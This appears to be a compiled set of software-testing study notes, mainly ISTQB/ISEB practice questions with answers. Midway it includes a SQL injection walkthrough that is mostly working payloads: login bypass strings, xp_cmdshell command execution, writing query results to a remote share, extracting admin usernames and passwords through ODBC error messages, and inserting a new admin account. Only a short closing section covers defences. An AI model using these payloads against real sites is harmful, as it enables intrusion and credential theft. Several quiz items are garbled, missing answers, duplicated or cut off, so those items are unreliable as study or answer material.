ISTQB ISEB Foundation Level Sample Paper

1. Which of the following are the typical defects found by static analysis tools?
a. Variables that are never used.
b. Security vulnerabilities.
c. Poor performance.
d. Unreachable code.
e. Business processes not followed.
A. b, c and d are true; a and e are false
B. a is true; b, c, d and e are false
C. c, d and e are true; a and b are false
D. a, b and d are true; c and e are false
Answer: D



2. Which of the following are characteristics of good testing in any life cycle model?
a. Every development activity has a corresponding test activity.
b. Testers review development documents early.
c. There are separate levels for component and system integration test.
d. Each test level has objectives specific to that level.
e. Each test level is based on the same test basis.
A. a, d and e
B. b, c and e
C. a, c and d
D. a, b and d
Answer: D



3. Which of the following statements are true in relation to component testing?
a. Stubs may be used.
b. May cover resource behaviour (e.g. memory leaks).
c. Tests the interactions between software components.
d. Defects are typically fixed without formally managing these defects.
A. a, c and d
B. a, b and d
C. b, c and d
D. a, b and c
Answer: B



4. A system specification states that a particular field should accept alphabetical characters in either upper or lower case. Which of the following test cases is from an INVALID equivalence partition?
A. Feeds
B. F33ds
C. FEEDS
D. fEEDs
Answer: B


5. Which of the following statements is GENERALLY true of testing?
a. Testing can show the presence of defects.
b. Testing reduces the probability of uncovered defects.
c. Testing can show that a previously present defect has been removed.
d. Testing can prove that software is defect free.
A. a, b and c
B. a, b and d
C. a, c and d
D. b, c and d
Answer: A



6. Which ADDITIONAL test level could be introduced into a standard V-model after system testing?
A. System Integration Testing
B. Acceptance Testing
C. Regression Testing
D. Component Integration Testing
Answer: A


7. Which statement BEST describes the role of testing?
A. Testing ensures that the right version of code is delivered
B. Testing can be used to assess quality.
C. Testing shows that the software is error free.
D. Testing improves quality in itself.
Answer: B



8. Which tasks would USUALLY be performed by a test leader and which by the tester?
a. Adapt planning based on test results.
b. Create test specifications.
c. Plan tests.
d. Write or review a test strategy
A. c and d by the test leader; a and b by the tester
B. a and b by the test leader; c and d by the tester.
C. a and d by the test leader; b and c by the tester
D. a, c and d by the test leader; b by the tester.
Answer: D



9. When in the lifecycle should testing activities start?
A. As early as possible
B. After the test environment is ready
C. After the requirements have been reviewed
D. Once the code is available to test
Answer: A


10. Which one of the following is a characteristic of good testing in any lifecycle model?
A. Each test level has the same test objective.
B. There should be more testing activities than development activities.
C. Test design can only begin when development is complete.
D. Testers should begin to review documents as soon as drafts are available.
Answer: D


11. During which activity of the Fundamental Test Process do you review the test basis?
A. Evaluating exit criteria and reporting.
B. Test implementation and execution
C. Test analysis and design
D. Test planning and control
Answer: C


12. Which one of the following statements about approaches to test estimation is true?
A. A metrics-based approach is based on data gathered from previous projects; an expert-based approach uses the knowledge of the owner of the tasks or experts
B. A metrics-based approach is based on creating a work-breakdown structure first; an expert-based approach is based on input from estimation experts
C. A metrics-based approach is based on data gathered from previous projects; an expert-based approach is based on a work-breakdown structure
D. A metrics-based approach is based on an analysis of the specification documents; an expert-based approach is based on the opinion of the most experienced tester in the organization
Answer: A


13. Which ordering of the list below gives increasing levels of test independence?
a. Tests designed by a fellow-member of the design team.
b. Tests designed by a different group within the organization.
c. Tests designed by the code author.
d. Tests designed by different organization.
A. c, a, b, d.
B. d, b, a, c
C. c, a, d, b.
D. a, c, d, b.
Answer: A


14. Which of the following are structure-based techniques?
a. Decision table testing
b. Boundary value analysis
c. Multiple condition coverage
d. Use case testing
e. Decision testing
A. a and c.
B. b and d.
C. b and e.
D. c and e.
Answer: D


15. Pair the correct test design techniques (i to v) with the category of techniques (x, y and z):
i) Exploratory Testing
ii) Equivalence Partitioning
iii) Decision Testing
iv) Use Case Testing
v) Condition coverage
x) Specification-based
y) Structure-based
z) Experienced-based
A. x = i and ii; y = iii and v; z = iv.
B. x = i, ii and iv; y = v; z = iii
C. x = ii and iv; y = iii and v; z = i.
D. x = iii and iv; y = v; z = i and ii.


16. Which of the following is a MAJOR task of evaluating exit criteria and reporting?
A. Writing a test summary report for stakeholders
B. Logging the outcome of test execution
C. Repeating test activities as a result of action taken for each discrepancy.
D. Evaluating testability of the requirements and system
Answer: A


17. The digital ainbow Thermometer uses 7 colours to show the ambient temperature. Each colour spans a range of just 5, with an operating minimum and maximum of minus 5 and 30. Which of the following values is minimum and maximum of minus 5? and 30?. Which of the following values is LEAST likely to have been identified when applying the boundary value test design technique?
A. 3030?
B. 00?
C. 8?8
D. 15 15?
Answer: C



18. In which activity of the Fundamental Test Process is the test environment set up?
A. Test implementation and execution.
B. Test planning and control
C. Test analysis and design
D. Evaluating exit criteria and reporting
Answer: A


19. Which of the following statements about black box and white box techniques is correct?
A. Decision Testing, Equivalence Partitioning and Condition Coverage are all black box techniques
B. Decision Table Testing, State Transition and Use Case Testing are all black box techniques
C. Decision Testing, Equivalence Partitioning and Statement Testing are all white box techniques
D. Boundary Value Analysis, State Transition and Statement Testing are all white box techniques
Answer: B


20. Which of the following are characteristic of test management tools?
a) They support traceability of tests to source documents.
b) They provide an interface to test execution tools.
c) They help to enforce coding standards.
d) They manipulate databases and files to set up test data.
A. a and c
B. b and c
C. a and b
D. b and d
Answer: C


21. How is the scope of maintenance testing assessed?
A. Scope is related to the risk, size of the changes and size of the system under test
B. Scope is defined by the size and type of system being changed
C. Scope is defined by the size and type of system being changed
D. Scope is related to the number of system users affected by the change.
Answer: A



22. A system under development contains complex calculations and decision logic, and it is assessed as high risk because of the relative inexperience of the development team in the application domain. Which of the following would be the MOST appropriate choice of test design technique for component testing?
A. Decision testing.
B. Statement testing
C. State transition testing
D. Equivalence partitioning
Answer: A


23. Which of the following is an example of a product risk?
A. Software that does not perform its intended functions
B. Failure of a third party
C. Problems in defining the right requirements
BH0-010
D. Skill and staff shortages
Answer: A


24. Given the following sample of pseudo code:
01 Input number of male tigers
02 Input number of female tigers
03 If male tiger > 0 and female tiger > 0 then
04 Input Do you want to breed (Yes / No)
05 If breed = No?
06 Print Keep male and female tigers apart
07 End if
08 End If
Which of the following test cases will ensure that statement 6 is executed?
A. male tiger = 1, female tiger = 1, breed = yes
B. male tiger = 1, female tiger = 1, breed = no
C. male tiger = 1, female tiger = 2, breed = yes
D. male tiger = 1, female tiger = 0, breed = no
Answer: B



25. Which of the following BEST describes a data-driven approach to the use of test execution tools?
A. Monitoring response times when the system contains a specified amount of data
B. Manipulation of databases and files to create test data
C. Using a generic script that reads test input data from a file
D. Recording test scripts and playing them back
Answer: C



26. Which statement about combinations of inputs and preconditions is true for a large system?
A. It is easy to test them all in a short time
B. It is not practically possible to test them all
C. It is not possible to test any of them
D. It is essential to test them all in order to do good testing
Answer: B


28. Which of the following is a purpose of the review kick off activity?
A. Explain the objectives
B. Select the personnel group
C. Document results
D. Define entry and exit criteria
Answer: A


29. Which one of the following is true of software development models?
A. There are always four test levels in the V-model.
B. In a Rapid Application Development (RAD) project, there are four test levels for each iteration.
C. In Agile development models, the number of test levels for an iteration can vary depending on the project.
D. There must be at least four test levels for any software development model.
Answer: C






30. Which of the following activities should be performed during the selection and implementation of a testing tool?
a) Determine whether the organization existing test process needs to change.
b) Conduct a proof of concept.
c) Implement the selected tool on a project behind schedule to save time.
d) Identify coaching and mentoring requirements for the use of the selected tool
A. a, b and c.
B. b, c and d.
C. a, c and d.
D. a, b and d.
Answer: D


31. The following code segment contains a potential "divide by 0" error.
J=50 K=1 while (N>=−10) and (N<=10) loop M [K] = J/N K = K + 1 N = N − 1 end loop; Which of the following is the most effective way of detecting this error?
A. Boundary testing B. Condition testing C. Compilation of the source code D. Source code inspection
Answer: D


32. A test team consistently finds between 90% and 95% of the defects present in the system under test. While the test manager understands that this is a good defect-detection percentage for her test team and industry, senior management and executives remain disappointed in the test group, saying that the test team misses too many bugs. Given that the users are generally happy with the system and that the failures which have occurred have generally been low impact, which of the following testing principles is most likely to help the test manager explain to these managers and executives why some defects are likely to be missed?
A. Exhaustive testing is impossible B. Defect clustering C. Pesticide paradox D. Absence-of-errors fallacy
Answer: A


33. System test execution on a project is planned for eight weeks. After a week of testing, a tester suggests that the test objective stated in the test plan of 'finding as many defects as possible during system test' might be more closely met by redirecting the test effort according to which test principle?
A. Impossibility of exhaustive testing. B. Importance of early testing. C. The absence of errors fallacy. D. Defect clustering
Answer: D






34. Which of the following statements is MOST OFTEN true?
A. Source-code inspections are often used in component testing. B. Component testing searches for defects in programs that are separately testable. C. Component testing is an important part of user acceptance testing. D. Component testing aims to expose problems in the interactions between software and hardware components.
Answer: B

Developer vs Tester

SQL Injections

1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

2 What do you need?
Any web browser.

3 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the

and

have potential parameters that might be useful (exploit wise).


4 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

5 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

If luck is on your side, you will get login without any login name or password.

6 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

7 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

8 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

9 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

10 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

11 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

12 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

13 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

14 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Test Cases Priorities for executions

After building & validating the testing models several test cases are generated. The next biggest task is to decide the priority for executing them by using some systematic procedure.

The process begins with identification of "Static Test Cases" and "Dynamic Test Runs", brief introduction of which is as under.

Test case: It is a collection of several items and corresponding information, which enables a test to be executed or performing a test run.

Test Run: It is a dynamic part of the specific testing activities in the overall sequence of testing on some specific testing object.

Every time we invoke a static test case, we in-turn perform an individual dynamic test run. Hence we can say that, every test case can correspond to several test runs.


Why & how do we prioritize?
Out of a large cluster of test cases in our hand, we need to scientifically decide their priorities of execution based upon some rational, non-arbitrary, criteria. We carry out the prioritization activity with an objective to reduce the overall number of test cases in the total testing feat.

There are couples of risks associated with our prioritization activities for the test cases. We may have the risk that some of the application features may not undergo testing at all.

During prioritization we work out plans addressing following two key concepts:

Concept – 1: Identify the essential features that must be tested in any case.

Concept – 2: Identify the risk or consequences of not testing some of the features.

The decision making in selecting the test cases is largely based upon the assessment of the risk first.

The objective of the test case prioritization exercise is to build confidence among the testers and the project leaders that the tests identified for execution are adequate from different angles.

The list of test cases decided for execution can be subjected to n-number of reviews in case of doubts / risks associated with any of the omitted tests.

Following four schemes are quite common for prioritizing the test cases.

All these methods are independent of each other & are aimed at optimizing the number of test cases. It is difficult to brand either of the methods better than the other. We can use any one method as a standalone scheme or can be used in conjunction with another one. When we get similar results out of different prioritization schemes, level of confidence increases.

Scheme – 1: Categorization of Priority.

Scheme – 2: Risk analysis.

Scheme – 3: Brainstorming to dig out the problematic areas.

Scheme – 4: Combination of different schemes.


Let us discuss the priority categorization scheme in greater detail here.

Easiest of all methods for categorizing our tests is to assign a priority code directly to every test description. This involves assigning a unique number to each & every test description.

A popular three-level priority categorization scheme is described as under

Priority - 1: Allocated to all tests that must be executed in any case.

Priority - 2: Allocated to the tests which can be executed, only when time permits.

Priority - 3: Allocated to the tests, which even if not executed, will not cause big upsets.

After assignment of priority codes, the tester estimates the amount of time required to execute the tests selected in each category. In case the estimated time happens to lie within the allotted schedule, means successful identification of tests & completion of the partitioning exercise. In case of any deviation of time plans, partitioning exercise is carried out further.

There is another extension to the above scheme i.e. new five-level scale using which we can classify the test priorities further.

The Five-Level Priority scheme is as under

Priority-1a: Allocated to the tests, which must pass, otherwise the delivery date will be affected.

Priority-2a: Allocated to the tests, which must be executed before the final delivery.

Priority-3a: Allocated to the tests which can be executed, only when time permits.

Priority-4a: Allocated to the tests, which can wait & can be executed even after the delivery date.

Priority-5a: Allocated to the tests, which have remote probability of execution ever.

Testers plan to divide the tests in various categories. For instance, say tests from priority 2 are further divided among priority levels like 3a, 4a and 5a. Likewise any test can be downgraded or upgraded.


Other considerations used while prioritizing or sequencing the test cases

a) Relative Dependencies: Some test cases are such that they can run only after the others because the one is used to set up the other. This is applicable especially for continuously operating systems involving test run to start from a state created by the previous one.

b) Timings of defect detection: Applies to cases wherein the problems can be detected only when many other problems have been found and already fixed. For example it applies to integration testing involving many components having their own problems at individual components level.

c) Damage or accidents: Applies to cases wherein acute problems or even severe damages can happen during testing unless some critical areas had not been checked before the present test run. For example it applies to embedded software involving safety critical systems, wherein the testers would not prefer to start testing the safety features prior to first testing the other related functions.

d) Difficulty levels: This is one of the most natural & commonly used sequence to execute the test cases involving moving from simple & easy test cases to difficult and complicated ones. This applies to scenarios where complicated problems can be expected. Here the testers prefer to execute comparatively simpler test cases first to narrow down the problematic areas.

5) Combining the test cases: Applies to majority of cases in large-scale software testing exercises involving interleaving and parallel testing to accelerate the testing process.

A comparison chart between Desktop, Client Server and Web Applications

Desktop Application
Single tier application
Application runs in single system
Single user

Client Server Application
2 tier application
Application runs in two or more systems
Limited number of users
Connection exists until logout
Application is menu driven
Known network issues in case of intranet as number of clients and servers are known
Known users

Web Application
3 tier application
Application runs in two or more systems
Unlimited number of users
Disconnected mode (stateless) – management of cookies
Application is URL driven
Many issues exist like hardware compatibility, browser compatibility, version compatibility, security issues, performance issues
Unknown users

QA process

A. Startup phase
During the startup phase QA effort are targeted mostly to documentation artifacts of the project. The following efforts take place during the phase:
1. Review and analysis of requirements. QA experts together with development experts analyze the requirements and specification documents in order to eliminate any inconsistencies. Software UI and navigation may be reworked greatly to improve the software usability and make it match common UI standards. New functionality may be offered to extend the required features in order to improve the entire application. Security issues that can be found at the early stage of testing the application may be avoided so project resources can be reduced.
2. Definition of testing goals and criteria. Definition of testing goals, criteria of meeting the goals, risk assessment, possible ways of risk mitigation.
3. Definition of testing approaches.Testing approaches and techniques are defined based on software type, project duration, available resources and testing goals. For example, load testing and security analysis are necessary for distributed applications, while automated regression tests are necessary for long-term projects. Tools required to perform the necessary testing are identified.
4. Resource estimation. QA resource estimation is based on the software specification, required QA documents and chosen testing approaches. Automated regression/load testing scripts reduce resource estimation for long-term projects, but may increase it for short projects.
5. Document templates approval. Format of all QA related documents should be approved by both sides, and modified if there are any objections or suggestions to already existing set of templates.
6. Creation of initial testing documents. First versions of test plans and automation plans are created based on the initial versions of software specification and automated testing requirements.
B. Main phase
During the main phase of QA process testing itself takes place, QA artifacts are being created, testing repositories are created, automated tests are developed and executed, found defects are detected and reported, fixes verified, QA documents are completed and maintained:
1. Creation and maintaining of testing documents. The full required set of QA documents, including low-level documents such as test cases, is created. All QA documents are updated correspondingly when requirements are modified. New test cases are created when defects are identified in order to make sure fixed defects do not appear in the software product during further development.
2. Manual testing according to testing documents. Continuous testing of software based on created QA documents guarantees that all features described in software requirements are present in the product, are operable and work as expected.
3. Manual ad hoc testing.Test cases and test plans cannot be created for all possible situations in applications. This is why ad hoc testing (also known as random testing) is also necessary in order to identify defects that cannot be found while performing testing using test plans and test cases.
4. Usability testing. Manual testing of software product to make sure the application has user friendly interface that meets common UI standards, application navigation is task oriented and allows execution of common tasks in minimal required user actions.
5. Documentation testing. All product support documentation such as help system, product information on WEB sites and system requirements are tested for consistence with actual software and product specifications.
6. Security analysis. Security analysis is performed against distributed applications (for instance WEB applications) in order to make sure the applications meet general security requirements. Application should be protected from unauthorized code execution, application data should be protected from unauthorized access, data should be available to authorized users.
7. Automated testing. Automated test scripts are implemented, maintained and executed against the application in order to identify defects that appear in previously operable features of software due to the latest code changes. Automation of such testing helps to save QA resources and to identify such issues at early stage. Integration of automated tests into application build process is common practice.
8. Performance testing. Automated testing of application performance is maid against distributed applications in production-like environments in order to make sure server-side part of application is capable of serving the required number of simultaneous user activities. Also performance testing allows identifying actual number of users the application can serve simultaneously to adjust software system requirements or production configuration.
9. Load/stress testing. Automated load and stress testing scripts are implemented and executed to make sure the application stays stable after continuous load with expected amount of simultaneous users and after short time stress load with more simultaneous users than expected.
10. Monitoring bugs and fixes.Bugs found by QA team, other teams involved in product development as well as customer bugs are monitored by QA team. Bugs that have insufficient information to reproduce them are reproduced by QA team, exact steps and conditions are populated to bug tracking system. Fixed defects are retested and related documents are updated correspondingly.
11. Reporting progress and statistics. At each stage of QA activities reports with the full list of current activities and progress of each activity are created and provided to customer. Detailed reports with currently open defects are provided on demand. Current product quality assessments are provided on demand as well.
C. Release phase
Release phase represents QA activities when software product is about to be deployed to production environment or a new version of software is about to be published for customers.
1. Assessment of testing coverage. Overview of QA activities that have been done, analysis of testing results, assessment of what percentage of the software product has been tested and what additional testing could be performed to guarantee better software quality.
2. Acceptance testing. The final step of testing performed by QA team and representatives of customer team in order to make sure the software product has the desired quality level and matches customer expectations.
3. Goal meeting validation. Project goals are compared to criteria to make sure the goal is met.
4. Review and approval of release notes. Release notes that usually include “What’s new”, “Known issues” and “Bug fixes” sections are made in collaboration with QA team and reviewed by QA team.
5. Transition of QA artifacts. All artifacts created by QA team during testing of the software product are gathered to a single package and delivered to the customer.

ISTQB Question Paper Dump 2

1) When what is visible to end-users is a deviation from the specific or expected behavior, this is
called:
a) an error
b) a fault
c) a failure
d) a defect
e) a mistake


2) Regression testing should be performed:
v) every week
w) after the software has changed
x) as often as possible
y) when the environment has changed
z) when the project manager says
a) v & w are true, x – z are false
b) w, x & y are true, v & z are false
c) w & y are true, v, x & z are false
d) w is true, v, x y and z are false
e) all of the above are true


3) IEEE 829 test plan documentation standard contains all of the following except:
a) test items
b) test deliverables
c) test tasks
d) test environment
e) test specification


4) Testing should be stopped when:
a) all the planned tests have been run
b) time has run out
c) all faults have been fixed correctly
d) both a) and c)
e) it depends on the risks for the system being tested


5) Order numbers on a stock control system can range between 10000 and 99999 inclusive.
Which of the following inputs might be a result of designing tests for only valid equivalence
classes and valid boundaries:
a) 1000, 5000, 99999
b) 9999, 50000, 100000
c) 10000, 50000, 99999
d) 10000, 99999
e) 9999, 10000, 50000, 99999, 10000



6) Consider the following statements about early test design:
i. early test design can prevent fault multiplication
ii. faults found during early test design are more expensive to fix
iii. early test design can find faults
iv. early test design can cause changes to the requirements
v. early test design takes more effort
a) i, iii & iv are true. Ii & v are false
b) iii is true, I, ii, iv & v are false
c) iii & iv are true. i, ii & v are false
d) i, iii, iv & v are true, ii us false
e) i & iii are true, ii, iv & v are false


7) Non-functional system testing includes:
a) testing to see where the system does not function properly
b) testing quality attributes of the system including performance and usability
c) testing a system feature using only the software required for that action
d) testing a system feature using only the software required for that function
e) testing for functions that should not exist


8) Which of the following is NOT part of configuration management:
a) status accounting of configuration items
b) auditing conformance to ISO9001
c) identification of test versions
d) record of changes to documentation over time
e) controlled library access


9) Which of the following is the main purpose of the integration strategy for integration testing in
the small?
a) to ensure that all of the small modules are tested adequately
b) to ensure that the system interfaces to other systems and networks
c) to specify which modules to combine when and how many at once
d) to ensure that the integration testing can be performed by a small team
e) to specify how the software should be divided into modules


10) What is the purpose of test completion criteria in a test plan:
a) to know when a specific test has finished its execution
b) to ensure that the test case specification is complete
c) to set the criteria used in generating test inputs
d) to know when test planning is complete
e) to plan when to stop testing


11) Consider the following statements
i. an incident may be closed without being fixed
ii. incidents may not be raised against documentation
iii. the final stage of incident tracking is fixing
iv. the incident record does not include information on test environments
v. incidents should be raised when someone other than the author of the software performs the
test
a) ii and v are true, I, iii and iv are false
b) i and v are true, ii, iii and iv are false
c) i, iv and v are true, ii and iii are false
d) i and ii are true, iii, iv and v are false
e) i is true, ii, iii, iv and v are false


12) Given the following code, which is true about the minimum number of test cases required for
full statement and branch coverage:
Read P
Read Q
IF P+Q > 100 THEN
Print “Large”
ENDIF
If P > 50 THEN
Print “P Large”
ENDIF
a) 1 test for statement coverage, 3 for branch coverage
b) 1 test for statement coverage, 2 for branch coverage
c) 1 test for statement coverage, 1 for branch coverage
d) 2 tests for statement coverage, 3 for branch coverage
e) 2 tests for statement coverage, 2 for branch coverage


13) Given the following:
Switch PC on
Start “outlook”
IF outlook appears THEN
Send an email
Close outlook
a) 1 test for statement coverage, 1 for branch coverage
b) 1 test for statement coverage, 2 for branch coverage
c) 1 test for statement coverage. 3 for branch coverage
d) 2 tests for statement coverage, 2 for branch coverage
e) 2 tests for statement coverage, 3 for branch coverage


14) Given the following code, which is true:
IF A > B THEN
C = A – B
ELSE
C = A + B
ENDIF
Read D
IF C = D Then
Print “Error”
ENDIF
a) 1 test for statement coverage, 3 for branch coverage
b) 2 tests for statement coverage, 2 for branch coverage
c) 2 tests for statement coverage. 3 for branch coverage
d) 3 tests for statement coverage, 3 for branch coverage
e) 3 tests for statement coverage, 2 for branch coverage


15) Consider the following:
Pick up and read the newspaper
Look at what is on television
If there is a program that you are interested in watching then switch the the television on and
watch the program
Otherwise
Continue reading the newspaper
If there is a crossword in the newspaper then try and complete the crossword
a) SC = 1 and DC = 1
b) SC = 1 and DC = 2
c) SC = 1 and DC = 3
d) SC = 2 and DC = 2
e) SC = 2 and DC = 3


16) The place to start if you want a (new) test tool is:
a) Attend a tool exhibition
b) Invite a vendor to give a demo
c) Analyse your needs and requirements
d) Find out what your budget would be for the tool
e) Search the internet


17) When a new testing tool is purchased, it should be used first by:
a) A small team to establish the best way to use the tool
b) Everyone who may eventually have some use for the tool
c) The independent testing team
d) The managers to see what projects it should be used in
e) The vendor contractor to write the initial scripts


18) What can static analysis NOT find?
a) The use of a variable before it has been defined
b) Unreachable (“dead”) code
c) Whether the value stored in a variable is correct
d) The re-definition of a variable before it has been used
e) Array bound violations


19) Which of the following is NOT a black box technique:
a) Equivalence partitioning
b) State transition testing
c) LCSAJ
